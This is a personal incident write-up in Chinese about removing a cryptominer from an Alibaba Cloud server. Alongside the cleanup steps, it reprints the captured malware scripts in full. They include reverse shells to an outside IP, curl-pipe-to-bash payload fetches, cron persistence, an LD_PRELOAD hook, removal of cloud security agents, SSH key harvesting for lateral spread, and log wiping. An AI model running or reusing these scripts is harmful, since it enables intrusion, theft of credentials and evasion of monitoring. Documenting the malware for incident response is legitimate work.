记一次阿里云服务器被挖矿程序植入处理(简单记录下)

2021年5月1日22点半左右，阿里云报警发现Webshell文件

五一正放假在外面鬼混呢，想着这服务器也只是自己测试用的，没啥东西，就没及时上线处理。

等回家上线才发现服务器卡死了，CPU满载，后台一顿报警，赶紧上去处理下！

通过top，ps 等命令发现有几个异常进程在狂飙CPU，当时没想着截图，就没截图。

我的处理流程：

1.查看异常进程，直接干掉先，不出所料，干掉后又自动跑起来了，想着肯定有个守护进程、计划任务或者脚本等在监控重启这玩意儿。

2.查看 pid：xxx 的进程启动路径和网络状况，定位发现是一个脚本在监控，找到并干掉守护脚本，删除下载脚本，删除挖矿程序

  然后找到运行的源文件删除

　查询正在运行的异常进程

ls -l /proc/$PID/exe

find / -name *inis*

通过ps -ef 、 top等命令，发现有个异常用户51在运行程序
先干掉
再找出这个用户都做了什么修改，改回来，或者删除
find / -user 51 | xargs ls -l

查看定时任务
crontab -l

有异常，删除时发现crontab -e无法修改文件
清空crontab定时任务，并防止被修改(之后记得改回来)
chattr -ai /var/spool/cron/ && echo > /var/spool/cron/root && chattr +i /var/spool/cron/root && lsattr /var/spool/cron/root

然后修改删除
再查看/etc/crontab，/etc/cron.d/目录，如果有恶意定时任务，同理删除

查看防火墙是否被修改
iptables -L -n

查看免密认证是否被修改
cat .ssh/authorized_keys

最后再依次删除恶意脚本，文件等

3.通过脚本分析可得出，挖矿下载脚本修改了不少系统东西，其中包括开机自启，计划任务，防火墙，公钥，hosts，dns等，找出来都给干掉或者修复。

4.分析是通过showdoc的docker入侵的，后续加强这方面的安全。

查看阿里云的报警详情，以及服务器进程情况，找出此挖矿程序分为三部分

　　一、守护进程脚本

　　　　 

#!/bin/bash
while :
do
if [ -w /usr/sbin ]; then
  SPATH=/usr/sbin
else
  SPATH=/tmp
fi
MD5_1_XMR="e5c3720e14a5ea7f678e0a9835d28283"
MD5_2_XMR=`md5sum $SPATH/.libs | awk '{print $1}'`
if [ "$MD5_1_XMR" = "$MD5_2_XMR" ]
then
  if [ $(netstat -ant|grep '107.172.214.23:80'|grep 'ESTABLISHED'|grep -v grep|wc -l) -eq '0' ]
  then
    $SPATH/.libs
  elif [ $(netstat -ant|grep '198.46.202.146:8899'|grep 'ESTABLISHED'|grep -v grep|wc -l) -eq '0' ]
  then
    bash -i >& /dev/tcp/198.46.202.146/8899 0>&1
  else
    echo "ok"
  fi
else
  (curl -s http://w.apacheorg.top:1234/xmss||wget -q -O - http://w.apacheorg.top:1234/xmss)|bash -sh
fi
sleep 30m
done

　　二、挖矿下载脚本

#!/bin/bash
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
setenforce 0 2>/dev/null
ulimit -n 65535
ufw disable
iptables -F
echo "vm.nr_hugepages=$((1168+$(nproc)))" | tee -a /etc/sysctl.conf
sysctl -w vm.nr_hugepages=$((1168+$(nproc)))
echo '0' >/proc/sys/kernel/nmi_watchdog
echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
netstat -antp | grep ':3333'  | awk '{print $7}' | sed -e "s//.*//g" | xargs -I % kill -9 %
netstat -antp | grep ':4444'  | awk '{print $7}' | sed -e "s//.*//g" | xargs -I % kill -9 %
netstat -antp | grep ':5555'  | awk '{print $7}' | sed -e "s//.*//g" | xargs -I % kill -9 %
netstat -antp | grep ':7777'  | awk '{print $7}' | sed -e "s//.*//g" | xargs -I % kill -9 %
netstat -antp | grep ':14444'  | awk '{print $7}' | sed -e "s//.*//g" | xargs -I % kill -9 %
netstat -antp | grep ':5790'  | awk '{print $7}' | sed -e "s//.*//g" | xargs -I % kill -9 %
netstat -antp | grep ':45700'  | awk '{print $7}' | sed -e "s//.*//g" | xargs -I % kill -9 %
netstat -antp | grep ':2222'  | awk '{print $7}' | sed -e "s//.*//g" | xargs -I % kill -9 %
netstat -antp | grep ':9999'  | awk '{print $7}' | sed -e "s//.*//g" | xargs -I % kill -9 %
netstat -antp | grep ':20580'  | awk '{print $7}' | sed -e "s//.*//g" | xargs -I % kill -9 %
netstat -antp | grep ':13531'  | awk '{print $7}' | sed -e "s//.*//g" | xargs -I % kill -9 %
netstat -antp | grep '23.94.24.12'  | awk '{print $7}' | sed -e 's//.*//g' | xargs -I % kill -9 %
netstat -antp | grep '134.122.17.13'  | awk '{print $7}' | sed -e 's//.*//g' | xargs -I % kill -9 %
netstat -antp | grep '66.70.218.40'  | awk '{print $7}' | sed -e 's//.*//g' | xargs -I % kill -9 %
netstat -antp | grep '209.141.35.17'  | awk '{print $7}' | sed -e 's//.*//g' | xargs -I % kill -9 %
echo "123"
netstat -antp | grep '119.28.4.91'  | awk '{print $7}' | sed -e 's//.*//g' | xargs -I % kill -9 %
netstat -antp | grep '101.32.73.178'  | awk '{print $7}' | sed -e 's//.*//g' | xargs -I % kill -9 %
netstat -antp | grep 185.238.250.137 | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 %
netstat -antp | grep tmate | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 %
netstat -antp | grep kinsing | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 %
netstat -antp | grep kdevtmpfsi | awk '{print $7}' | awk  -F '[/]' '{print $1}' | xargs -I % kill -9 %
netstat -antp | grep pythonww | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 %
netstat -antp | grep tcpp | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 %
netstat -antp | grep c3pool | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 %
netstat -antp | grep xmr | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 %
netstat -antp | grep f2pool | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 %
netstat -antp | grep crypto-pool | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 %
netstat -antp | grep t00ls | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 %
netstat -antp | grep vihansoft | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 %
netstat -antp | grep mrbpool | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 %
ps -fe | grep '/usr/sbin/sshd' | grep 'sshgood' | grep -v grep  | awk '{print $2}' | sed -e 's//.*//g' | xargs -I % kill -9 %
ps aux | grep -a -E "kdevtmpfsi|kinsing|solr|f2pool|tcpp|xmr|tmate|185.238.250.137|c3pool" | awk '{print $2}' | xargs kill -9

der(){
  if ps aux | grep -i '[a]liyun'; then
    (wget -q -O - http://update.aegis.aliyun.com/download/uninstall.sh||curl -s http://update.aegis.aliyun.com/download/uninstall.sh)|bash; lwp-download http://update.aegis.aliyun.com/download/uninstall.sh /tmp/uninstall.sh; bash /tmp/uninstall.sh
    (wget -q -O - http://update.aegis.aliyun.com/download/quartz_uninstall.sh||curl -s http://update.aegis.aliyun.com/download/quartz_uninstall.sh)|bash; lwp-download http://update.aegis.aliyun.com/download/quartz_uninstall.sh /tmp/uninstall.sh; bash /tmp/uninstall.sh
    pkill aliyun-service
    rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
    rm -rf /usr/local/aegis*
    systemctl stop aliyun.service
    systemctl disable aliyun.service
    service bcm-agent stop
    yum remove bcm-agent -y
    apt-get remove bcm-agent -y
    /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh stop
    /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh remove
    rm -rf /usr/local/cloudmonitor
  elif ps aux | grep -i '[y]unjing'; then
    /usr/local/qcloud/stargate/admin/uninstall.sh
    /usr/local/qcloud/YunJing/uninst.sh
    /usr/local/qcloud/monitor/barad/admin/uninstall.sh
  fi
  sleep 1
  echo "DER Uninstalled"
}

der
if ! [ -z "$(command -v wdl)" ] ; then DLB="wdl -O " ; fi ; if ! [ -z "$(command -v wge)" ] ; then DLB="wge -O " ; fi
if ! [ -z "$(command -v wget2)" ] ; then DLB="wget2 -O " ; fi ; if ! [ -z "$(command -v wget)" ] ; then DLB="wget -O " ; fi
if ! [ -z "$(command -v cdl)" ] ; then DLB="cdl -Lk -o " ; fi ; if ! [ -z "$(command -v cur)" ] ; then DLB="cur -Lk -o " ; fi
if ! [ -z "$(command -v curl2)" ] ; then DLB="curl2 -Lk -o " ; fi ; if ! [ -z "$(command -v curl)" ] ; then DLB="curl -Lk -o " ; fi
echo $DLB
url="w.apacheorg.top:1234"
liburl="http://107.172.214.23:1234/.libs"

cronlow(){
  cr=$(crontab -l | grep -q $url | wc -l)
  if [ ${cr} -eq 0 ];then
    crontab -r
    (crontab -l 2>/dev/null; echo "30 23 * * * (curl -s http://$url/xmss||wget -q -O - http://$url/xmss )|bash -sh")| crontab -
  else
    echo "cronlow skip"
  fi
}

if [ -w /usr/sbin ]; then
  SPATH=/usr/sbin
else
  SPATH=/tmp
fi
echo $SPATH

echo 'handling download itself ...'
if cat /etc/cron.d/`whoami` /etc/cron.d/apache /var/spool/cron/`whoami` /var/spool/cron/crontabs/`whoami` /etc/cron.hourly/oanacroner1 | grep -q "205.185.113.151|5.196.247.12|bash.givemexyz.xyz|194.156.99.30|cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8xOTQuMTU2Ljk5LjMwL2QucHkiKS5yZWFkKCkpJw==|bash.givemexyz.in|205.185.116.78"
then
  chattr -i -a /etc/cron.d/`whoami` /etc/cron.d/apache /var/spool/cron/`whoami` /var/spool/cron/crontabs/`whoami` /etc/cron.hourly/oanacroner1
  crontab -r
fi
if crontab -l | grep "$url"
then
  echo "Cron exists"
else
  apt-get install -y cron
  yum install -y vixie-cron crontabs
  service crond start
  chkconfig --level 35 crond on
  echo "Cron not found"
  echo -e "30 23 * * * root (curl -s http://$url/xmss||wget -q -O - http://$url/xmss )|bash -sh
##" > /etc/cron.d/`whoami`
  echo -e "30 23 * * * root (curl -s http://$url/xmss||wget -q -O - http://$url/xmss )|bash -sh
##" > /etc/cron.d/apache
  echo -e "30 23 * * * root (curl -s http://$url/xmss||wget -q -O - http://$url/xmss )|bash -sh
##" > /etc/cron.d/nginx
  echo -e "30 23 * * * (curl -s http://$url/xmss||wget -q -O - http://$url/xmss )|bash -sh
##" > /var/spool/cron/`whoami`
  mkdir -p /var/spool/cron/crontabs
  echo -e "30 23 * * * (curl -s http://$url/xmss||wget -q -O - http://$url/xmss )|bash -sh
##" > /var/spool/cron/crontabs/`whoami`
  mkdir -p /etc/cron.hourly
  echo "(curl -s http://$url/xmss||wget -q -O - http://$url/xmss )|bash -sh" > /etc/cron.hourly/oanacroner1 | chmod 755 /etc/cron.hourly/oanacroner1
  echo "(curl -s http://$url/xmss||wget -q -O - http://$url/xmss )|bash -sh" > /etc/cron.hourly/oanacroner1 | chmod 755 /etc/init.d/down
  chattr +ai -V /etc/cron.d/`whoami` /etc/cron.d/apache /var/spool/cron/`whoami` /var/spool/cron/crontabs/`whoami` /etc/cron.hourly/oanacroner1 /etc/init.d/down
fi
chattr -i -a /etc/cron.d/`whoami` /etc/cron.d/apache /var/spool/cron/`whoami` /var/spool/cron/crontabs/`whoami` /etc/cron.hourly/oanacroner1
echo "(curl -s http://$url/xmss||wget -q -O - http://$url/xmss )|bash -sh" > /etc/init.d/down | chmod 755 /etc/init.d/down

localgo() {
  echo "localgo start"
  myhostip=$(curl -sL icanhazip.com)
  KEYS=$(find ~/ /root /home -maxdepth 3 -name 'id_rsa*' | grep -vw pub)
  KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep IdentityFile | awk -F "IdentityFile" '{print $2 }')
  KEYS3=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | awk -F ' -i ' '{print $2}' | awk '{print $1'})
  KEYS4=$(find ~/ /root /home -maxdepth 3 -name '*.pem' | uniq)
  HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep HostName | awk -F "HostName" '{print $2}')
  HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | grep -oP "([0-9]{1,3}.){3}[0-9]{1,3}")
  HOSTS3=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | tr ':' ' ' | awk -F '@' '{print $2}' | awk -F '{print $1}')
  HOSTS4=$(cat /etc/hosts | grep -vw "0.0.0.0" | grep -vw "127.0.1.1" | grep -vw "127.0.0.1" | grep -vw $myhostip | sed -r '/
/!s/[0-9.]+/
&
/;/^([0-9]{1,3}.){3}[0-9]{1,3}
/P;D' | awk '{print $1}')
  HOSTS5=$(cat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts | grep -oP "([0-9]{1,3}.){3}[0-9]{1,3}" | uniq)
  HOSTS6=$(ps auxw | grep -oP "([0-9]{1,3}.){3}[0-9]{1,3}" | grep ":22" | uniq)
  USERZ=$(
    echo "root"
    find ~/ /root /home -maxdepth 2 -name '.ssh' | uniq | xargs find | awk '/id_rsa/' | awk -F'/' '{print $3}' | uniq | grep -wv ".ssh"
  )
  USERZ2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -vw "cp" | grep -vw "mv" | grep -vw "cd " | grep -vw "nano" | grep -v grep | grep -E "(ssh|scp)" | tr ':' ' ' | awk -F '@' '{print $1}' | awk '{print $4}' | uniq)
  sshports=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -vw "cp" | grep -vw "mv" | grep -vw "cd " | grep -vw "nano" | grep -v grep | grep -E "(ssh|scp)" | tr ':' ' ' | awk -F '-p' '{print $2}' | awk '{print $1}' | sed 's/[^0-9]*//g' | tr ' ' '
' | nl | sort -u -k2 | sort -n | cut -f2- | sed -e "$a22")
  userlist=$(echo "$USERZ $USERZ2" | tr ' ' '
' | nl | sort -u -k2 | sort -n | cut -f2- | grep -vw "." | grep -vw "ssh" | sed '/./d')
  hostlist=$(echo "$HOSTS $HOSTS2 $HOSTS3 $HOSTS4 $HOSTS5 $HOSTS6" | grep -vw 127.0.0.1 | tr ' ' '
' | nl | sort -u -k2 | sort -n | cut -f2-)
  keylist=$(echo "$KEYS $KEYS2 $KEYS3 $KEYS4" | tr ' ' '
' | nl | sort -u -k2 | sort -n | cut -f2-)
  i=0
  for user in $userlist; do
    for host in $hostlist; do
      for key in $keylist; do
        for sshp in $sshports; do
          ((i++))
          if [ "${i}" -eq "20" ]; then
            sleep 5
            ps wx | grep "ssh -o" | awk '{print $1}' | xargs kill -9 &>/dev/null &
            i=0
          fi

          #Wait 5 seconds after every 20 attempts and clean up hanging processes

          chmod +r $key
          chmod 400 $key
          echo "$user@$host"
          ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=3 -i $key $user@$host -p $sshp "(curl -s http://$url/xmss||wget -q -O - http://$url/xmss)|bash -sh; echo $base | base64 -d | bash -; lwp-download http://$url/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms"
          ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=3 -i $key $user@$host -p $sshp "(curl -s http://$url/xmss||wget -q -O - http://$url/xmss)|bash -sh; echo $base | base64 -d | bash -; lwp-download http://$url/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms"
        done
      done
    done
  done
  # scangogo
  echo "local done"
}

MD5_1_XMR="e5c3720e14a5ea7f678e0a9835d28283"
MD5_2_XMR=`md5sum $SPATH/.libs | awk '{print $1}'`

if [ "$SPATH" = "/usr/sbin" ]
then
  chattr -ia / /usr/ /usr/local/ /usr/local/lib/ 2>/dev/null
  if [ "$MD5_1_XMR" = "$MD5_2_XMR" ]
  then 
    if [ $(netstat -ant|grep '107.172.214.23:80'|grep 'ESTABLISHED'|grep -v grep|wc -l) -eq '0' ]
    then
      $SPATH/.libs
      chattr -ia /etc/ /usr/local/lib/libs.so  /etc/ld.so.preload 2>/dev/null
      chattr -ai /etc/ld.so.* 2>/dev/null
      $DLB /usr/local/lib/libs.so http://$url/libs.so
      export LD_PRELOAD=/usr/local/lib/libs.so
      sed -i 's//usr/local/lib/ini.so//' /etc/ld.so.preload
      sed -i 's//usr/local/lib/libs.so//' /etc/ld.so.preload
      echo '/usr/local/lib/libs.so' >> /etc/ld.so.preload
      chattr +ai $SPATH/.libs $SPATH/.inis /usr/local/lib/libs.so /etc/ld.so.preload 2>/dev/null
      localgo
    elif [ $(netstat -ant|grep '198.46.202.146:8899'|grep 'ESTABLISHED'|grep -v grep|wc -l) -eq '0' ]
    then
      $DLB $SPATH/.inis http://$url/inis
      chmod +x $SPATH/.inis 2>/dev/null
      nohup $SPATH/.inis &
      nohup bash -i >& /dev/tcp/198.46.202.146/8899 0>&1 &
    else
      echo "ok"
      chattr -ia /etc/ /usr/local/lib/libs.so /etc/ld.so.preload 2>/dev/null
      chattr -ai /etc/ld.so.* 2>/dev/null
      $DLB /usr/local/lib/libs.so http://$url/libs.so
      sed -i 's//usr/local/lib/ini.so//' /etc/ld.so.preload
      sed -i 's//usr/local/lib/libs.so//' /etc/ld.so.preload
      export LD_PRELOAD=/usr/local/lib/libs.so
      echo '/usr/local/lib/libs.so' >> /etc/ld.so.preload
      chattr +ai $SPATH/.libs $SPATH/.inis /usr/local/lib/libs.so /etc/ld.so.preload 2>/dev/null
      localgo
    fi
    localgo
  else
    chattr -ia /etc/ /usr/local/lib/libs.so /etc/ld.so.preload 2>/dev/null
    chattr -ai /etc/ld.so.* 2>/dev/null
    chattr -ai /usr/sbin/.libs 2>/dev/null
    chattr -ai /usr/sbin/.inis 2>/dev/null
    rm -f $SPATH/.libs
    rm -f $SPATH/.inis
    $DLB $SPATH/.libs $liburl
    $DLB /usr/local/lib/libs.so http://$url/libs.so
    $DLB $SPATH/.ini http://$url/inis
    export LD_PRELOAD=/usr/local/lib/libs.so
    sed -i 's//usr/local/lib/ini.so//' /etc/ld.so.preload
    sed -i 's//usr/local/lib/libs.so//' /etc/ld.so.preload
    echo '/usr/local/lib/libs.so' >> /etc/ld.so.preload
    chattr +ia /usr/local/lib/libs.so
    chattr +ia /usr/local/lib/inis.so
    chmod +x $SPATH/.libs 2>/dev/null
    chmod +x $SPATH/.inis 2>/dev/null
    $SPATH/.libs
    nohup $SPATH/.inis 1>/dev/null 2>&1 &
    nohup bash -i >& /dev/tcp/198.46.202.146/8899 0>&1 &
    chattr +ai $SPATH/.libs
    chattr +ai $SPATH/.inis
    localgo
  fi
else
  if [ "$MD5_1_XMR" != "$MD5_2_XMR" ]
  then
    chattr -ai $SPATH/.libs
    chattr -ai $SPATH/.inis
    $DLB $SPATH/.libs $liburl
    $DLB $SPATH/.inis http://$url/inis
    chattr -ia /etc/ /usr/local/lib/libs.so /etc/ld.so.preload 2>/dev/null
    chattr -ai /etc/ld.so.* 2>/dev/null
    $DLB /usr/local/lib/libs.so http://$url/libs.so
    sed -i 's//usr/local/lib/ini.so//' /etc/ld.so.preload
    sed -i 's//usr/local/lib/libs.so//' /etc/ld.so.preload
    echo '/usr/local/lib/libs.so' >> /etc/ld.so.preload
    chattr +ia /usr/local/lib/libs.so
    chmod +x $SPATH/.libs 2>/dev/null
    chmod +x $SPATH/.inis 2>/dev/null
    $SPATH/.libs
    nohup $SPATH/.inis 1>/dev/null 2>&1 &
    nohup bash -i >& /dev/tcp/198.46.202.146/8899 0>&1 &
    chattr +ai $SPATH/.libs
    chattr +ai $SPATH/.inis
    localgo
    cronlow
  else
    cronlow
    if [ $(netstat -ant|grep '107.172.214.23:80'|grep 'ESTABLISHED'|grep -v grep|wc -l) -eq '0' ]
    then
      $SPATH/.libs
      localgo
    elif [ $(netstat -ant|grep '198.46.202.146:8899'|grep 'ESTABLISHED'|grep -v grep|wc -l) -eq '0' ]
    then
      nohup $SPATH/.inis 1>/dev/null 2>&1 &
      nohup bash -i >& /dev/tcp/198.46.202.146/8899 0>&1 &
    else
      echo "ok"
    fi
  fi
fi


echo 0>/root/.ssh/authorized_keys
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
echo 0>~/.bash_history
history -c 2>/dev/null

　　三、挖矿程序

　　　　定位到其执行文件目录下，有如下文件（都不是好东西，后面全部干掉）